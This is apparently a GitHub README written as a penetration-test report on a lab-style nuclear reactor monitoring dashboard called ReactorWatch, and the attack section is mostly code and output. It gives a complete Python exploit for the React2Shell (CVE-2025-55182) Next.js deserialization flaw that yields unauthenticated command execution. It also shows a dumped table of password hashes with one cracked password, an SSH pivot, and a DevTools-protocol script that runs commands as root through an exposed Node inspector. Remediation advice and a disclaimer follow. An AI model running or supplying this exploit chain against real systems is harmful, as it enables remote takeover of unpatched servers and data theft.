amnsecurity/reactorwatch-pentest

GitHub: amnsecurity/reactorwatch-pentest

一份展示 ReactorWatch 核反应堆监控系统完整渗透测试过程的报告,涵盖 CVE-2025-55182 RCE 漏洞利用、数据库窃取、密码破解及权限提升的全链路攻击路径与修复方案。

Stars: 1 | Forks: 0

# ─── REACTORWATCH ☢️ ─── CVSS 10.0
# 🛡️ AMN SECURITY 🛡️ ### 网络安全研究中心 | مركز أبحاث الأمن السيبراني | Cyber Security Research Center [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![电子邮件](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

# 🇸🇦 阿拉伯语板块 ## ☢️ ReactorWatch 核反应堆监控系统全面渗透测试 ### ReactorWatch Core Monitoring System v3.2.1 | CVSS 10.0 | 极危 ### 📋 执行摘要 对 **ReactorWatch v3.2.1** 进行了全面的渗透测试,这是一个运行在 **Next.js 15.0.3** 框架和 **React 19.0.0** 库上的核反应堆核心监控系统。该系统监控反应堆的关键指标,包括堆芯温度、压力、冷却剂流量、涡轮机输出和中子通量。 **严重发现:** - 通过 CVE-2025-55182 (React2Shell) 实现 **无需认证的远程代码执行** (Unauthenticated RCE) - 攻破包含运行人员 MD5 加密密码的 **SQLite 数据库** - **破解 MD5 加密** → 获取 `engineer` 账户的 SSH 访问权限 - 通过 Node.js V8 Inspector (Chrome DevTools Protocol) **将权限提升至 root** **影响:** 反应堆监控系统被全面攻破——攻击者可以篡改显示的指标、伪造传感器读数、禁用警报,或在 SCADA/控制网络内进行横向移动。 ### 🔍 目标详情 | 元素 | 详情 | |--------|----------| | **系统** | ReactorWatch Core Monitoring System v3.2.1 | | **开发者** | Nuclear Dynamics Corp. | | **技术** | Next.js 15.0.3 / React 19.0.0-rc (App Router) | | **操作系统** | Ubuntu Linux | | **开放端口** | 22 (SSH), 3000 (HTTP — Next.js) | | **分类** | 限制级 — 关键基础设施 | ### 🗺️ 完整攻击链 ``` ┌──────────┐ ┌──────────────────┐ ┌──────────────┐ ┌──────────┐ ┌──────────────┐ │ المسح │ → │ CVE-2025-55182 │ → │ قاعدة بيانات │ → │ SSH │ → │ رفع صلاحية │ │ Recon │ │ RCE بدون مصادقة │ │ SQLite │ │ engineer │ │ إلى root │ └──────────┘ └──────────────────┘ └──────────────┘ └──────────┘ └──────────────┘ │ ▼ 🏁 اختراق كامل ``` ### 💥 阶段 1:利用 CVE-2025-55182 (React2Shell) #### 漏洞分析 **CVE-2025-55182**(又称 React2Shell)是 React Flight deserialization 协议中的一个严重漏洞。当 Next.js 通过 `multipart/form-data` 请求处理 Server Action 时,它会反序列化一个嵌入的 JSON 对象。攻击者可以通过污染 `__proto__.then` 并将任意 JavaScript 代码注入到 `_response._prefix` 中——这些代码会在构建 Flight 响应时被执行。 #### 构造 Payload 该 Payload 使用 React Flight 的信号系统(`$1`, `$2`, `$3` 等)将多个 multipart 数据片段连接成一个恶意的图结构: ``` import requests, json, re, urllib.parse TARGET = "http://:3000" BOUNDARY = "----WebKitFormBoundaryReactCVE" def run_cmd(cmd): cmd_escaped = cmd.replace("'", "\\'") js_code = ( "var res=process.mainModule.require('child_process')" f".execSync('{cmd_escaped}').toString().trim();" "throw Object.assign(new Error('NEXT_REDIRECT')," "{digest:'NEXT_REDIRECT;push;/login?a='+encodeURIComponent(res)+';307;'});" ) def create_part(name, content): return f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{content}\r\n" body = "" body += create_part('0', '"$1"') body += create_part('1', '{"status":"resolved_model","reason":0,' '"_response":"$5","value":"{\\"then\\":\\"$4:map\\",' '\\"0\\":{\\"then\\":\\"$B3\\"},\\"length\\":1}",' '"then":"$2:then"}') body += create_part('2', '"$@3"') body += create_part('3', '""') body += create_part('4', '[]') part5 = json.dumps({ "_prefix": f"{js_code}//", "_formData": {"get": "$4:constructor:constructor"}, "_chunks": "$2:_response:_chunks", "_bundlerConfig": {} }) body += create_part('5', part5) body += f"--{BOUNDARY}--\r\n" resp = requests.post(TARGET + "/", headers={"next-action": "x", "Content-Type": f"multipart/form-data; boundary={BOUNDARY}"}, data=body.encode(), allow_redirects=False, timeout=15 ) redirect = resp.headers.get("x-action-redirect", "") or \ resp.headers.get("location", "") match = re.search(r'\?a=(.+?)(?:;|$)', redirect) return urllib.parse.unquote(match.group(1)) if match else None ``` **确认命令执行:** ``` $ run_cmd("id") uid=999(node) gid=988(node) groups=988(node) ``` ✅ **已确认实现无需认证的远程代码执行** — 具备 `node` 用户权限 (uid=999)。 ### 💾 阶段 2:数据库攻破 在应用程序路径中发现了一个 SQLite 数据库文件: ``` $ run_cmd("ls /opt/reactor-app") app next.config.js node_modules package.json reactor.db ``` #### 提取用户数据 ``` $ run_cmd("sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users;'") 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb ``` #### 破解 MD5 加密 | 用户 | MD5 哈希值 | 密码 | |----------|----------|-------------| | `admin` | `a203b22191d744a4e70ada5c101b17b8` | *(未破解)* | | `engineer` | `39d97110eafe2a9a68639812cd271e8e` | **reactor1** | ### 🔑 阶段 3:通过 SSH 访问 ``` $ ssh engineer@ Password: reactor1 engineer@reactorwatch:~$ id uid=1000(engineer) gid=1000(engineer) ... ``` #### 用户 Flag (User Flag) ``` 25f023bebbb8379cbfcbfb92b7057a20 ``` #### 关键发现 ``` engineer@reactorwatch:~$ ps aux | grep node root 1389 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js ``` 发现一个 **以 root 身份运行** 且暴露了 **V8 Inspector** 的 Node.js 进程! ### 👑 阶段 4:权限提升至 Root 建立 SSH 隧道以连接本地端口: ``` ssh -L 9229:127.0.0.1:9229 engineer@ ``` #### 利用 Chrome DevTools Protocol ``` import websocket, json WS_URL = 'ws://127.0.0.1:9229/451c3640-019b-4a96-841c-cacdad567fc0' ws = websocket.create_connection(WS_URL, timeout=10) js_code = "process.mainModule.require('child_process').execSync('cat /root/root.txt').toString().trim()" msg = {"id": 1, "method": "Runtime.evaluate", "params": {"expression": js_code, "returnByValue": True}} ws.send(json.dumps(msg)) resp = json.loads(ws.recv()) print(resp['result']['result']['value']) ``` **结果:** ``` $ whoami root $ cat /root/root.txt [REDACTED] — Root access confirmed ``` ✅ **成功将权限提升至 root!** ### 🛡️ 修复建议 #### 🔴 严重 — 立即处理 | # | 问题 | 建议 | |---|---------|---------| | 1 | **CVE-2025-55182** | 将 Next.js 升级至 ≥15.1.0,React 升级至 ≥19.0.0 | | 2 | **薄弱的 MD5 加密** | 用 bcrypt/argon2 替换 MD5 | | 3 | **Node.js Inspector 暴露** | 在生产环境中移除 `--inspect` 并使用防火墙 | #### 🟠 高优先级 | # | 问题 | 建议 | |---|---------|---------| | 4 | **应用程序目录中的敏感数据** | 将 SQLite 移出 Web 目录并进行加密 | | 5 | **默认/可破解的密码** | 强制更改密码并启用 MFA | | 6 | **缺乏网络隔离** | 将监控系统与公共网络分离 | ### 👥 AMN SECURITY 团队 | 成员 | 专业领域 | |-------|--------| | AMN Research Team | 漏洞发现与分析 | | AMN Exploitation Team | 漏洞利用开发 | | AMN Defense Team | 修复建议 | ## Connect with AMN SECURITY — 关注我们 [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![电子邮件](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)
══════════════════════════════════════════════════════════════ # 🌐 英语板块 ══════════════════════════════════════════════════════════════

# ☢️ ReactorWatch — 渗透测试报告 ### ReactorWatch Core Monitoring System v3.2.1 | CVSS 10.0 | 极危 ### 📋 执行摘要 对部署在未公开设施(**Site-7**)、基于 Next.js 的核反应堆核心监控仪表板 **ReactorWatch v3.2.1** 进行了全面范围的渗透测试。该应用程序监控关键的反应堆指标,包括堆芯温度、压力、冷却剂流量、涡轮机输出和中子通量。 **严重发现** 包括: - 通过 CVE-2025-55182 (React2Shell) 实现 **无需认证的远程代码执行** - 包含 MD5 哈希操作员凭证的 **SQLite 数据库被窃取** - **破解 MD5 哈希** → 获取 `engineer` 账户的 SSH 访问权限 - 通过暴露的 Node.js V8 Inspector (CDP) **将权限提升至 root** **影响:** 反应堆监控系统被全面攻破——攻击者可以篡改显示的指标、伪造传感器读数、禁用警报,或渗透到 SCADA/控制网络中。 ### 🔍 目标概述 | 字段 | 值 | |-------|-------| | **系统** | ReactorWatch Core Monitoring System v3.2.1 | | **供应商** | Nuclear Dynamics Corp. | | **框架** | Next.js 15.0.3 / React 19.0.0-rc (App Router) | | **操作系统** | Ubuntu Linux | | **开放端口** | 22 (OpenSSH 9.6p1), 3000 (HTTP — Next.js) | ### 🗺️ 攻击链 ``` Phase 1 ─► Recon & Enumeration └── Nmap → Ports 22 (SSH), 3000 (Next.js 15.0.3) Phase 2 ─► CVE-2025-55182 (React2Shell) └── Prototype pollution in React Flight deserialization └── Multipart POST → Command output in x-action-redirect Phase 3 ─► SQLite Exfiltration & MD5 Cracking └── reactor.db → Users table with MD5 hashes └── engineer:reactor1 (MD5 cracked) Phase 4 ─► SSH as engineer → User Flag └── Discovery: Node.js --inspect=127.0.0.1:9229 (root) Phase 5 ─► Privilege Escalation to Root └── SSH tunnel → CDP WebSocket → Runtime.evaluate └── process.mainModule.require('child_process') → ROOT ``` ### 💥 阶段 1:CVE-2025-55182 漏洞利用 (React2Shell) #### 漏洞分析 **CVE-2025-55182** (React2Shell) 是 React Server Components 的 Flight deserialization 协议中的一个严重漏洞。当 Next.js 通过 `multipart/form-data` POST 请求处理 Server Action 时,它会反序列化一个嵌入的 React Flight JSON 对象。通过污染 `__proto__.then` 并将 JavaScript 注入到 `_response._prefix` 中,即可实现任意代码执行。 #### RCE 验证 ``` $ run_cmd("id") uid=999(node) gid=988(node) groups=988(node) ``` **已确认无需认证的 RCE** — 以 `node` 用户身份执行 (uid=999)。 ### 💾 阶段 2:数据窃取 ``` $ run_cmd("sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users;'") 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator ``` **破解的凭证:** | 用户名 | 密码 | |----------|----------| | engineer | **reactor1** | ### 🔑 阶段 3:SSH 访问 ``` $ ssh engineer@ engineer@reactorwatch:~$ id uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),... ``` **用户 Flag:** `25f023bebbb8379cbfcbfb92b7057a20` **关键发现 — 以 root 身份运行的 Node.js Inspector:** ``` root 1389 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js ``` ### 👑 阶段 4:Root 权限提升 ``` ssh -L 9229:127.0.0.1:9229 engineer@ ``` **CDP WebSocket 漏洞利用:** ``` import websocket, json WS_URL = 'ws://127.0.0.1:9229/451c3640-019b-4a96-841c-cacdad567fc0' def run_as_root(cmd): ws = websocket.create_connection(WS_URL) js = f"process.mainModule.require('child_process').execSync('{cmd}').toString().trim()" msg = {"id":1,"method":"Runtime.evaluate","params":{"expression":js,"returnByValue":True}} ws.send(json.dumps(msg)) return json.loads(ws.recv())['result']['result']['value'] print(run_as_root("whoami")) # → root print(run_as_root("cat /root/root.txt")) # → Root flag obtained ``` ### 🔐 修复建议 #### 🔴 严重 — 立即采取行动 | # | 发现 | 建议 | |---|---------|---------------| | 1 | **CVE-2025-55182** | 将 Next.js 升级至 ≥15.1.0,React 升级至 ≥19.0.0 稳定版。如果未使用,请禁用 Server Actions。 | | 2 | **薄弱的 MD5 哈希加密** | 用 bcrypt/argon2 替换。强制执行密码复杂度要求。 | | 3 | **Node.js Inspector 暴露** | 在生产环境中移除 `--inspect`。使用防火墙规则进行限制。 | #### 🟠 高优先级 | # | 发现 | 建议 | |---|---------|---------------| | 4 | **Web 根目录中的敏感数据** | 将 SQLite 数据库移出应用程序目录。进行静态加密。 | | 5 | **默认凭证** | 强制重置所有账户的密码。实施 MFA。 | | 6 | **无网络隔离** | 隔离监控系统。实施严格的出站过滤。 | ### 📚 技术参考 - **CVE-2025-55182** — React2Shell:通过 Prototype Pollution 实现的 React Server Components RCE - **Chrome DevTools Protocol** — `Runtime.evaluate` 任意代码执行 - **OWASP Top 10** — A03:2021 Injection,A05:2021 Broken Access Control ### ⏱ 时间线 | 日期 | 事件 | |------|-------| | 2026 年 7 月 | 确定目标 — ReactorWatch v3.2.1 | | 2026 年 7 月 | CVE-2025-55182 利用 — 无需认证的 RCE | | 2026 年 7 月 | SQLite 窃取与 MD5 破解 | | 2026 年 7 月 | 以 engineer 身份进行 SSH 访问 | | 2026 年 7 月 | 通过 CDP 将权限提升至 root | ### 👥 AMN SECURITY 团队 | 成员 | 角色 | |--------|------| | **AMN Research Team** | 漏洞发现与技术分析 | | **AMN Exploitation Team** | 概念验证 (PoC) 开发 | | **AMN Defense Team** | 修复指导 | ### ⚖️ 免责声明 本渗透测试报告及随附的概念验证代码仅供**授权的安全测试和教育目的使用**。未经授权对您不拥有或未获得明确测试许可的系统使用此漏洞是非法的。作者和 AMN SECURITY 对任何滥用此信息的行为不承担任何责任。 **关键基础设施警告:** 目标系统监控核反应堆运行。对此类系统的利用可能会导致人身安全风险。必须遵循极度谨慎的态度和严格的授权协议。
**🛡️ AMN SECURITY 🛡️** | *保护关键基础设施* [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![电子邮件](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com) © 2026 AMN SECURITY Research. 保留所有权利。
标签:HTTP工具, MITM代理, PE 加载器, PKINIT, SCADA系统, Web报告查看器, 协议分析, 后端开发, 工控安全, 权限提升, 红队评估, 逆向工具